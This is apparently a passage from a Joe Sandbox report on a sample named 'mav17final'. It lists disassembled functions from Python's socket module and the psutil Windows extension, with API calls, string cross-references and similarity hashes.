PyModule_AddIntConstant.PYTHON311 ref: 00007FF8B93C2073
PyModule_AddIntConstant.PYTHON311 ref: 00007FF8B93C2086
PyModule_AddIntConstant.PYTHON311 ref: 00007FF8B93C209C
PyModule_AddIntConstant.PYTHON311 ref: 00007FF8B93C20B2
PyModule_GetDict.PYTHON311 ref: 00007FF8B93C20BB
VerSetConditionMask.KERNEL32 ref: 00007FF8B93C2117
VerSetConditionMask.KERNEL32 ref: 00007FF8B93C2126
VerSetConditionMask.KERNEL32 ref: 00007FF8B93C2137
VerifyVersionInfoA.KERNEL32 ref: 00007FF8B93C215D
PyErr_Format.PYTHON311 ref: 00007FF8B93C3130

Strings

MSG_MCAST, xrefs: 00007FF8B93C16FF
_socket.CAPI, xrefs: 00007FF8B93C12CC
INADDR_UNSPEC_GROUP, xrefs: 00007FF8B93C1A8F
AF_APPLETALK, xrefs: 00007FF8B93C136A
TCP_KEEPINTVL, xrefs: 00007FF8B93C1D72
MSG_DONTROUTE, xrefs: 00007FF8B93C167B
IPPROTO_GGP, xrefs: 00007FF8B93C17BC
IPPROTO_IGMP, xrefs: 00007FF8B93C17A6
IPV6_RTHDR, xrefs: 00007FF8B93C1D07
socket.gaierror, xrefs: 00007FF8B93C11EC
IPV6_LEAVE_GROUP, xrefs: 00007FF8B93C1BEC
WSAStartup failed: network not ready, xrefs: 00007FF8B93C313C
IP_MULTICAST_TTL, xrefs: 00007FF8B93C1B7E
NI_MAXHOST, xrefs: 00007FF8B93C1F11
EAI_NODATA, xrefs: 00007FF8B93C1E22
IPPROTO_SCTP, xrefs: 00007FF8B93C1932, 00007FF8B93C1A0E
AI_ALL, xrefs: 00007FF8B93C1ECF
gaierror, xrefs: 00007FF8B93C1212
IPPROTO_PUP, xrefs: 00007FF8B93C182A
RCVALL_SOCKETLEVELONLY, xrefs: 00007FF8B93C2092
EAI_FAIL, xrefs: 00007FF8B93C1DE0
IPV6_DONTFRAG, xrefs: 00007FF8B93C1C86
IP_TTL, xrefs: 00007FF8B93C1B26
IPPROTO_IPV4, xrefs: 00007FF8B93C17D2
IPPROTO_HOPOPTS, xrefs: 00007FF8B93C177D
INADDR_BROADCAST, xrefs: 00007FF8B93C1A63
IPPROTO_TCP, xrefs: 00007FF8B93C17FE
IPPROTO_ICMP, xrefs: 00007FF8B93C1790
AI_V4MAPPED, xrefs: 00007FF8B93C1EFB
SOCK_SEQPACKET, xrefs: 00007FF8B93C1487
RCVALL_OFF, xrefs: 00007FF8B93C2069
IPPROTO_IDP, xrefs: 00007FF8B93C1856
AI_PASSIVE, xrefs: 00007FF8B93C1E77
IPV6_JOIN_GROUP, xrefs: 00007FF8B93C1BD6
NI_MAXSERV, xrefs: 00007FF8B93C1F27
error, xrefs: 00007FF8B93C118C
SOCK_RDM, xrefs: 00007FF8B93C149D
SOCK_DGRAM, xrefs: 00007FF8B93C145B
IPPROTO_ICMPV6, xrefs: 00007FF8B93C18DA
NI_NOFQDN, xrefs: 00007FF8B93C1F3A
SOCK_RAW, xrefs: 00007FF8B93C1471
SO_EXCLUSIVEADDRUSE, xrefs: 00007FF8B93C14F2
SO_LINGER, xrefs: 00007FF8B93C1560
SHUT_RD, xrefs: 00007FF8B93C1FA5
SOCK_STREAM, xrefs: 00007FF8B93C1445
MSG_ERRQUEUE, xrefs: 00007FF8B93C16D3
IPV6_RECVTCLASS, xrefs: 00007FF8B93C1CF1
TCP_FASTOPEN, xrefs: 00007FF8B93C1D9E
IPPROTO_UDP, xrefs: 00007FF8B93C1840
AF_IRDA, xrefs: 00007FF8B93C13D8
EAI_BADFLAGS, xrefs: 00007FF8B93C1DCA
EAI_SERVICE, xrefs: 00007FF8B93C1E4E
has_ipv6, xrefs: 00007FF8B93C1291
IPPROTO_IP, xrefs: 00007FF8B93C176A
AF_UNSPEC, xrefs: 00007FF8B93C1328
AF_INET, xrefs: 00007FF8B93C133E
SocketType, xrefs: 00007FF8B93C1250
MSG_PEEK, xrefs: 00007FF8B93C1665
IPV6_MULTICAST_HOPS, xrefs: 00007FF8B93C1C02
IP_HDRINCL, xrefs: 00007FF8B93C1AFA
INADDR_LOOPBACK, xrefs: 00007FF8B93C1A79
SO_USELOOPBACK, xrefs: 00007FF8B93C154A
IPV6_TCLASS, xrefs: 00007FF8B93C1D1D
IPPROTO_ND, xrefs: 00007FF8B93C186C
SOL_SOCKET, xrefs: 00007FF8B93C1715
IPPROTO_PGM, xrefs: 00007FF8B93C19E2
IPPROTO_NONE, xrefs: 00007FF8B93C18F0
IPV6_HOPOPTS, xrefs: 00007FF8B93C1CAF
NI_NAMEREQD, xrefs: 00007FF8B93C1F66
AI_CANONNAME, xrefs: 00007FF8B93C1E8D
SIO_KEEPALIVE_VALS, xrefs: 00007FF8B93C1FFD
AI_ADDRCONFIG, xrefs: 00007FF8B93C1EE5
SIO_RCVALL, xrefs: 00007FF8B93C1FDE
IPPROTO_MAX, xrefs: 00007FF8B93C195E
SO_ERROR, xrefs: 00007FF8B93C1610
IPPROTO_ICLFXBM, xrefs: 00007FF8B93C1974
00:00:00:FF:FF:FF, xrefs: 00007FF8B93C142B
herror, xrefs: 00007FF8B93C11D2
socket.herror, xrefs: 00007FF8B93C11AC
IPPROTO_ST, xrefs: 00007FF8B93C198A
EAI_SOCKTYPE, xrefs: 00007FF8B93C1E64
SO_RCVTIMEO, xrefs: 00007FF8B93C15FA
BDADDR_ANY, xrefs: 00007FF8B93C141E
SO_OOBINLINE, xrefs: 00007FF8B93C1576
IP_OPTIONS, xrefs: 00007FF8B93C1AE4
IPPROTO_DSTOPTS, xrefs: 00007FF8B93C1906
RCVALL_ON, xrefs: 00007FF8B93C207C
EAI_AGAIN, xrefs: 00007FF8B93C1DB4
SO_RCVBUF, xrefs: 00007FF8B93C15A2
socket, xrefs: 00007FF8B93C126F
SHUT_WR, xrefs: 00007FF8B93C1FB8
IPPROTO_EGP, xrefs: 00007FF8B93C1814
TCP_NODELAY, xrefs: 00007FF8B93C1D30
INADDR_MAX_LOCAL_GROUP, xrefs: 00007FF8B93C1ABB
IPPROTO_L2TP, xrefs: 00007FF8B93C19F8
IPV6_UNICAST_HOPS, xrefs: 00007FF8B93C1C44
IP_RECVTOS, xrefs: 00007FF8B93C1B3C
SOL_IP, xrefs: 00007FF8B93C172B
MSG_CTRUNC, xrefs: 00007FF8B93C16A7
SOMAXCONN, xrefs: 00007FF8B93C163C
SO_ACCEPTCONN, xrefs: 00007FF8B93C14C6
SO_SNDBUF, xrefs: 00007FF8B93C158C
AF_DECnet, xrefs: 00007FF8B93C1396
SO_BROADCAST, xrefs: 00007FF8B93C1534
IPV6_CHECKSUM, xrefs: 00007FF8B93C1C70
IPPROTO_PIM, xrefs: 00007FF8B93C191C
IPV6_RECVRTHDR, xrefs: 00007FF8B93C1CDB
IPV6_V6ONLY, xrefs: 00007FF8B93C1C5A
timeout, xrefs: 00007FF8B93C122C
IPPROTO_ESP, xrefs: 00007FF8B93C18AE
TCP_KEEPIDLE, xrefs: 00007FF8B93C1D5C
SIO_LOOPBACK_FAST_PATH, xrefs: 00007FF8B93C201C
SO_DONTROUTE, xrefs: 00007FF8B93C151E
AF_LINK, xrefs: 00007FF8B93C13AC
EAI_MEMORY, xrefs: 00007FF8B93C1E0C
IPPORT_RESERVED, xrefs: 00007FF8B93C1A24
NI_NUMERICSERV, xrefs: 00007FF8B93C1F7C
IP_RECVDSTADDR, xrefs: 00007FF8B93C1B52
IPPROTO_RAW, xrefs: 00007FF8B93C1948
EAI_NONAME, xrefs: 00007FF8B93C1E38
BTPROTO_RFCOMM, xrefs: 00007FF8B93C1404
EAI_FAMILY, xrefs: 00007FF8B93C1DF6
WSAStartup failed: error code %d, xrefs: 00007FF8B93C3123
TCP_MAXSEG, xrefs: 00007FF8B93C1D46
SHUT_RDWR, xrefs: 00007FF8B93C1FCE
IPPROTO_FRAGMENT, xrefs: 00007FF8B93C1898
AF_INET6, xrefs: 00007FF8B93C1380
IPPROTO_RDP, xrefs: 00007FF8B93C19CC
IPPROTO_IPV6, xrefs: 00007FF8B93C17E8
TCP_KEEPCNT, xrefs: 00007FF8B93C1D88
BDADDR_LOCAL, xrefs: 00007FF8B93C1435
SO_DEBUG, xrefs: 00007FF8B93C14B0
MSG_BCAST, xrefs: 00007FF8B93C16E9
IPV6_HOPLIMIT, xrefs: 00007FF8B93C1C9C
IP_TOS, xrefs: 00007FF8B93C1B10
SO_SNDTIMEO, xrefs: 00007FF8B93C15E4
SO_REUSEADDR, xrefs: 00007FF8B93C14DC
SOL_UDP, xrefs: 00007FF8B93C1757
IPV6_MULTICAST_LOOP, xrefs: 00007FF8B93C1C2E
NI_DGRAM, xrefs: 00007FF8B93C1F92
SO_TYPE, xrefs: 00007FF8B93C1626
IPPROTO_ROUTING, xrefs: 00007FF8B93C1882
AF_SNA, xrefs: 00007FF8B93C13C2
IP_DROP_MEMBERSHIP, xrefs: 00007FF8B93C1BC0
IPV6_PKTINFO, xrefs: 00007FF8B93C1CC5
IPPORT_USERRESERVED, xrefs: 00007FF8B93C1A3A
SO_RCVLOWAT, xrefs: 00007FF8B93C15CE
IPPROTO_CBT, xrefs: 00007FF8B93C19A0
RCVALL_MAX, xrefs: 00007FF8B93C20A8
MSG_OOB, xrefs: 00007FF8B93C164F
00:00:00:00:00:00, xrefs: 00007FF8B93C1414
IP_ADD_MEMBERSHIP, xrefs: 00007FF8B93C1BAA
INADDR_ALLHOSTS_GROUP, xrefs: 00007FF8B93C1AA5
AF_BLUETOOTH, xrefs: 00007FF8B93C13EE
AI_NUMERICSERV, xrefs: 00007FF8B93C1EB9
NI_NUMERICHOST, xrefs: 00007FF8B93C1F50
IP_MULTICAST_LOOP, xrefs: 00007FF8B93C1B94
SO_SNDLOWAT, xrefs: 00007FF8B93C15B8
AF_IPX, xrefs: 00007FF8B93C1354
INADDR_ANY, xrefs: 00007FF8B93C1A4D
MSG_WAITALL, xrefs: 00007FF8B93C16BD
INADDR_NONE, xrefs: 00007FF8B93C1AD1
CAPI, xrefs: 00007FF8B93C130D
IPPROTO_IGP, xrefs: 00007FF8B93C19B6
WSAStartup failed: requested version not supported, xrefs: 00007FF8B93C3145
AI_NUMERICHOST, xrefs: 00007FF8B93C1EA3
MSG_TRUNC, xrefs: 00007FF8B93C1691
SOL_TCP, xrefs: 00007FF8B93C1741
IP_MULTICAST_IF, xrefs: 00007FF8B93C1B68
IPV6_MULTICAST_IF, xrefs: 00007FF8B93C1C18
IPPROTO_AH, xrefs: 00007FF8B93C18C4
SO_KEEPALIVE, xrefs: 00007FF8B93C1508

Memory Dump Source

Source File: 00000002.00000002.2073080190.00007FF8B93C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF8B93C0000, based on PE: true

Associated: 00000002.00000002.2073053555.00007FF8B93C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2073128104.00007FF8B93C8000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2073161336.00007FF8B93D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2073189700.00007FF8B93D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b93c0000_mav17final.jbxd

Similarity

API ID: Module_$Constant$Object$ConditionMask$Err_$ExceptionInfoStringVerifyVersion$Capsule_Create2DictExitFormatFromLongLong_MallocMem_StartupUnsigned
String ID: 00:00:00:00:00:00$00:00:00:FF:FF:FF$AF_APPLETALK$AF_BLUETOOTH$AF_DECnet$AF_INET$AF_INET6$AF_IPX$AF_IRDA$AF_LINK$AF_SNA$AF_UNSPEC$AI_ADDRCONFIG$AI_ALL$AI_CANONNAME$AI_NUMERICHOST$AI_NUMERICSERV$AI_PASSIVE$AI_V4MAPPED$BDADDR_ANY$BDADDR_LOCAL$BTPROTO_RFCOMM$CAPI$EAI_AGAIN$EAI_BADFLAGS$EAI_FAIL$EAI_FAMILY$EAI_MEMORY$EAI_NODATA$EAI_NONAME$EAI_SERVICE$EAI_SOCKTYPE$INADDR_ALLHOSTS_GROUP$INADDR_ANY$INADDR_BROADCAST$INADDR_LOOPBACK$INADDR_MAX_LOCAL_GROUP$INADDR_NONE$INADDR_UNSPEC_GROUP$IPPORT_RESERVED$IPPORT_USERRESERVED$IPPROTO_AH$IPPROTO_CBT$IPPROTO_DSTOPTS$IPPROTO_EGP$IPPROTO_ESP$IPPROTO_FRAGMENT$IPPROTO_GGP$IPPROTO_HOPOPTS$IPPROTO_ICLFXBM$IPPROTO_ICMP$IPPROTO_ICMPV6$IPPROTO_IDP$IPPROTO_IGMP$IPPROTO_IGP$IPPROTO_IP$IPPROTO_IPV4$IPPROTO_IPV6$IPPROTO_L2TP$IPPROTO_MAX$IPPROTO_ND$IPPROTO_NONE$IPPROTO_PGM$IPPROTO_PIM$IPPROTO_PUP$IPPROTO_RAW$IPPROTO_RDP$IPPROTO_ROUTING$IPPROTO_SCTP$IPPROTO_ST$IPPROTO_TCP$IPPROTO_UDP$IPV6_CHECKSUM$IPV6_DONTFRAG$IPV6_HOPLIMIT$IPV6_HOPOPTS$IPV6_JOIN_GROUP$IPV6_LEAVE_GROUP$IPV6_MULTICAST_HOPS$IPV6_MULTICAST_IF$IPV6_MULTICAST_LOOP$IPV6_PKTINFO$IPV6_RECVRTHDR$IPV6_RECVTCLASS$IPV6_RTHDR$IPV6_TCLASS$IPV6_UNICAST_HOPS$IPV6_V6ONLY$IP_ADD_MEMBERSHIP$IP_DROP_MEMBERSHIP$IP_HDRINCL$IP_MULTICAST_IF$IP_MULTICAST_LOOP$IP_MULTICAST_TTL$IP_OPTIONS$IP_RECVDSTADDR$IP_RECVTOS$IP_TOS$IP_TTL$MSG_BCAST$MSG_CTRUNC$MSG_DONTROUTE$MSG_ERRQUEUE$MSG_MCAST$MSG_OOB$MSG_PEEK$MSG_TRUNC$MSG_WAITALL$NI_DGRAM$NI_MAXHOST$NI_MAXSERV$NI_NAMEREQD$NI_NOFQDN$NI_NUMERICHOST$NI_NUMERICSERV$RCVALL_MAX$RCVALL_OFF$RCVALL_ON$RCVALL_SOCKETLEVELONLY$SHUT_RD$SHUT_RDWR$SHUT_WR$SIO_KEEPALIVE_VALS$SIO_LOOPBACK_FAST_PATH$SIO_RCVALL$SOCK_DGRAM$SOCK_RAW$SOCK_RDM$SOCK_SEQPACKET$SOCK_STREAM$SOL_IP$SOL_SOCKET$SOL_TCP$SOL_UDP$SOMAXCONN$SO_ACCEPTCONN$SO_BROADCAST$SO_DEBUG$SO_DONTROUTE$SO_ERROR$SO_EXCLUSIVEADDRUSE$SO_KEEPALIVE$SO_LINGER$SO_OOBINLINE$SO_RCVBUF$SO_RCVLOWAT$SO_RCVTIMEO$SO_REUSEADDR$SO_SNDBUF$SO_SNDLOWAT$SO_SNDTIMEO$SO_TYPE$SO_USELOOPBACK$SocketType$TCP_FASTOPEN$TCP_KEEPCNT$TCP_KEEPIDLE$TCP_KEEPINTVL$TCP_MAXSEG$TCP_NODELAY$WSAStartup failed: error code %d$WSAStartup failed: network not ready$WSAStartup failed: requested version not supported$_socket.CAPI$error$gaierror$has_ipv6$herror$socket$socket.gaierror$socket.herror$timeout
API String ID: 2280847565-1299366327
Opcode ID: de31a07a70c23239d4b04c80589f0f0a269b501d95a9cdd44f27bf4122d5a2ac
Instruction ID: 6025f09bfa47ceafd5facd5c340fee966936137d67e47c65ee503b26e6c68a26
Opcode Fuzzy Hash: de31a07a70c23239d4b04c80589f0f0a269b501d95a9cdd44f27bf4122d5a2ac
Instruction Fuzzy Hash: 7BA2C668B18FA2A5EA14DF1AE8546662331BB4EBD1F847035CE0E06764DEBDE34DC701

Function 00007FF8B9074610 Relevance: 70.2, APIs: 3, Strings: 37, Instructions: 235
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF8B9071380: LoadLibraryA.KERNEL32 ref: 00007FF8B907139A

RtlGetVersion.NTDLL ref: 00007FF8B9074695
GetSystemInfo.KERNEL32 ref: 00007FF8B9074711
InitializeCriticalSection.KERNEL32 ref: 00007FF8B907471E

Strings

_psutil_windows.TimeoutAbandoned, xrefs: 00007FF8B90747C6
MIB_TCP_STATE_SYN_SENT, xrefs: 00007FF8B90748FD
ERROR_SERVICE_DOES_NOT_EXIST, xrefs: 00007FF8B9074A05
MIB_TCP_STATE_TIME_WAIT, xrefs: 00007FF8B907496B, 00007FF8B9074981
IDLE_PRIORITY_CLASS, xrefs: 00007FF8B9074850
MIB_TCP_STATE_ESTAB, xrefs: 00007FF8B90748E7
WINDOWS_8, xrefs: 00007FF8B9074A74
NORMAL_PRIORITY_CLASS, xrefs: 00007FF8B9074866
ERROR_INVALID_NAME, xrefs: 00007FF8B90749EF
WINDOWS_10, xrefs: 00007FF8B9074AA0
INFINITE, xrefs: 00007FF8B90749C3
version, xrefs: 00007FF8B90747F8
TimeoutAbandoned, xrefs: 00007FF8B90747D5
MIB_TCP_STATE_SYN_RCVD, xrefs: 00007FF8B9074913
MIB_TCP_STATE_CLOSE_WAIT, xrefs: 00007FF8B90748BB
ABOVE_NORMAL_PRIORITY_CLASS, xrefs: 00007FF8B907480E
WINDOWS_8_1, xrefs: 00007FF8B9074A8A
BELOW_NORMAL_PRIORITY_CLASS, xrefs: 00007FF8B9074824
MIB_TCP_STATE_LAST_ACK, xrefs: 00007FF8B9074955
REALTIME_PRIORITY_CLASS, xrefs: 00007FF8B907487C
PSUTIL_DEBUG, xrefs: 00007FF8B907464D
HIGH_PRIORITY_CLASS, xrefs: 00007FF8B907483A
MIB_TCP_STATE_CLOSED, xrefs: 00007FF8B907488F
MIB_TCP_STATE_FIN_WAIT2, xrefs: 00007FF8B907493F
_psutil_windows.TimeoutExpired, xrefs: 00007FF8B9074797
TimeoutExpired, xrefs: 00007FF8B90747A6
WINVER, xrefs: 00007FF8B9074A32
_psutil_windows.Error, xrefs: 00007FF8B9074741
MIB_TCP_STATE_LISTEN, xrefs: 00007FF8B90748D1
ERROR_PRIVILEGE_NOT_HELD, xrefs: 00007FF8B9074A1B
WINDOWS_7, xrefs: 00007FF8B9074A5E
MIB_TCP_STATE_DELETE_TCB, xrefs: 00007FF8B9074997
ERROR_ACCESS_DENIED, xrefs: 00007FF8B90749D9
MIB_TCP_STATE_FIN_WAIT1, xrefs: 00007FF8B9074929
PSUTIL_CONN_NONE, xrefs: 00007FF8B90749AD
WINDOWS_VISTA, xrefs: 00007FF8B9074A48
MIB_TCP_STATE_CLOSING, xrefs: 00007FF8B90748A5

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: CriticalInfoInitializeLibraryLoadSectionSystemVersion
String ID: ABOVE_NORMAL_PRIORITY_CLASS$BELOW_NORMAL_PRIORITY_CLASS$ERROR_ACCESS_DENIED$ERROR_INVALID_NAME$ERROR_PRIVILEGE_NOT_HELD$ERROR_SERVICE_DOES_NOT_EXIST$HIGH_PRIORITY_CLASS$IDLE_PRIORITY_CLASS$INFINITE$MIB_TCP_STATE_CLOSED$MIB_TCP_STATE_CLOSE_WAIT$MIB_TCP_STATE_CLOSING$MIB_TCP_STATE_DELETE_TCB$MIB_TCP_STATE_ESTAB$MIB_TCP_STATE_FIN_WAIT1$MIB_TCP_STATE_FIN_WAIT2$MIB_TCP_STATE_LAST_ACK$MIB_TCP_STATE_LISTEN$MIB_TCP_STATE_SYN_RCVD$MIB_TCP_STATE_SYN_SENT$MIB_TCP_STATE_TIME_WAIT$NORMAL_PRIORITY_CLASS$PSUTIL_CONN_NONE$PSUTIL_DEBUG$REALTIME_PRIORITY_CLASS$TimeoutAbandoned$TimeoutExpired$WINDOWS_10$WINDOWS_7$WINDOWS_8$WINDOWS_8_1$WINDOWS_VISTA$WINVER$_psutil_windows.Error$_psutil_windows.TimeoutAbandoned$_psutil_windows.TimeoutExpired$version
API String ID: 926842855-2468274236
Opcode ID: 85c7b31a6a932c1691d0eca6bba646cd36cf514f1aeafebe573b9e429b05bbbf
Instruction ID: 5ef306d15f9461d4da5b31bad7c47490940ba437eb94a25e01638c24ae866ddd
Opcode Fuzzy Hash: 85c7b31a6a932c1691d0eca6bba646cd36cf514f1aeafebe573b9e429b05bbbf
Instruction Fuzzy Hash: 4EC11F24B18A9691FF109F2DE9943782B62BF69BF5F808035CA0E46B60DF6CE147C701

Function 00007FF8B9072370 Relevance: 35.1, APIs: 17, Strings: 3, Instructions: 147
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00007FF8B90723C4
HeapAlloc.KERNEL32 ref: 00007FF8B90723D5
NtQuerySystemInformation.NTDLL ref: 00007FF8B907240D
GetProcessHeap.KERNEL32 ref: 00007FF8B9072429
HeapFree.KERNEL32 ref: 00007FF8B9072437
GetProcessHeap.KERNEL32 ref: 00007FF8B907243D
HeapAlloc.KERNEL32 ref: 00007FF8B907244E
NtQuerySystemInformation.NTDLL ref: 00007FF8B907247A
GetProcessHeap.KERNEL32 ref: 00007FF8B90724F0
HeapFree.KERNEL32 ref: 00007FF8B90724FE

Strings

automatically set for PID 0, xrefs: 00007FF8B90723A8
NtQuerySystemInformation, xrefs: 00007FF8B907252F
psutil_pid_is_running -> 0, xrefs: 00007FF8B9072511

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: Heap$Process$AllocFreeInformationQuerySystem
String ID: NtQuerySystemInformation$automatically set for PID 0$psutil_pid_is_running -> 0
API String ID: 722747020-1794217337
Opcode ID: c7ae699ce2a892379fce2e4808c87eb30de3fe2b6b0b889759ce124942a3d854
Instruction ID: 846819f1c4a1f83a1eefd82dfc350ed25948378e3eb59ccb5f160d14c19c56d0
Opcode Fuzzy Hash: c7ae699ce2a892379fce2e4808c87eb30de3fe2b6b0b889759ce124942a3d854
Instruction Fuzzy Hash: BF512021E08AC682EF509F6AF45417E6BA1FFA8BE4F444135DB4D43B58EE3CE5468740

Function 00007FF8B90782E0 Relevance: 33.4, APIs: 13, Strings: 6, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF8B9078317
OpenProcessToken.ADVAPI32 ref: 00007FF8B907832B
GetLastError.KERNEL32 ref: 00007FF8B9078339
ImpersonateSelf.ADVAPI32 ref: 00007FF8B9078349
OpenProcessToken.ADVAPI32 ref: 00007FF8B9078376

Part of subcall function 00007FF8B9071070: GetLastError.KERNEL32 ref: 00007FF8B9071092

Part of subcall function 00007FF8B9078240: fprintf.MSPDB140-MSVCRT ref: 00007FF8B907826F
Part of subcall function 00007FF8B9078240: fprintf.MSPDB140-MSVCRT ref: 00007FF8B9078289
Part of subcall function 00007FF8B9078240: fprintf.MSPDB140-MSVCRT ref: 00007FF8B90782A3
Part of subcall function 00007FF8B9078240: GetLastError.KERNEL32 ref: 00007FF8B90782A8

GetLastError.KERNEL32 ref: 00007FF8B9078396

Strings

ImpersonateSelf, xrefs: 00007FF8B9078353
OpenProcessToken, xrefs: 00007FF8B9078380, 00007FF8B907839C
(originated from %s), xrefs: 00007FF8B90783A5, 00007FF8B9078410, 00007FF8B9078486
LookupPrivilegeValue, xrefs: 00007FF8B9078407
SeDebugPrivilege, xrefs: 00007FF8B90783EE
AdjustTokenPrivileges, xrefs: 00007FF8B907847D, 00007FF8B90784E4

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: ErrorLast$Processfprintf$OpenToken$CurrentImpersonateSelf
String ID: (originated from %s)$AdjustTokenPrivileges$ImpersonateSelf$LookupPrivilegeValue$OpenProcessToken$SeDebugPrivilege
API String ID: 2304922976-3705996988
Opcode ID: 05f1a684b56bb86ca3b888b6c1abfd21607b48faccc12cb3d56ba191f6d314fb
Instruction ID: 05711faed1e9925cf3523d6e83c1e4378f624f9d8b503aed5f42c51e1ebb3b0e
Opcode Fuzzy Hash: 05f1a684b56bb86ca3b888b6c1abfd21607b48faccc12cb3d56ba191f6d314fb
Instruction Fuzzy Hash: F7513E31A0CAC681EF509F39E8842A96B64FF647E4F504036DB4E42669DF7CE54BC750

Function 00007FF8B9074B90 Relevance: 17.7, APIs: 4, Strings: 6, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

NtQuerySystemInformation(SystemProcessorPerformanceInformation), xrefs: 00007FF8B9074D0D
GetSystemInfo() failed to retrieve CPU count, xrefs: 00007FF8B9074CB4
(ddddd), xrefs: 00007FF8B9074D42
psutil/arch/windows/cpu.c, xrefs: 00007FF8B9074C57
psutil-debug [%s:%d]> , xrefs: 00007FF8B9074C61
GetActiveProcessorCount() not available; using GetSystemInfo(), xrefs: 00007FF8B9074C7B

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID:
String ID: (ddddd)$GetActiveProcessorCount() not available; using GetSystemInfo()$GetSystemInfo() failed to retrieve CPU count$NtQuerySystemInformation(SystemProcessorPerformanceInformation)$psutil-debug [%s:%d]> $psutil/arch/windows/cpu.c
API String ID: 0-2108063674
Opcode ID: 2ca73cd30470c9455e3ec07614443548941fff10896586bf88e3bee20af541bc
Instruction ID: badb678b66f7d657e960367a5342d406e497ae6a79d7230354cafeec74058ef3
Opcode Fuzzy Hash: 2ca73cd30470c9455e3ec07614443548941fff10896586bf88e3bee20af541bc
Instruction Fuzzy Hash: A6719831A19A8186EE569F3DA854275B7A6AF65BD0F048331DB0F62750EF3CE4878710

Function 00007FF8B9077910 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtQuerySystemInformation.NTDLL ref: 00007FF8B9077962

Strings

NtQuerySystemInformation (no PID found), xrefs: 00007FF8B90779F9
NtQuerySystemInformation(SystemProcessInformation), xrefs: 00007FF8B90779B3

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: InformationQuerySystem
String ID: NtQuerySystemInformation (no PID found)$NtQuerySystemInformation(SystemProcessInformation)
API String ID: 3562636166-1914444273
Opcode ID: 427dc0625ceb9ddaa0afee0601954c2752e9c2a249e2768820022e836a42a8a8
Instruction ID: e8720a6a730c14fef2e45fe8a3c14b4a4055ccb6e6fe28417cc663517a4f65d7
Opcode Fuzzy Hash: 427dc0625ceb9ddaa0afee0601954c2752e9c2a249e2768820022e836a42a8a8
Instruction Fuzzy Hash: 0B312331A0D6C282FF548F19A4506796BE1FFA8BE4F145435EB4E877A4DE3DE4828710

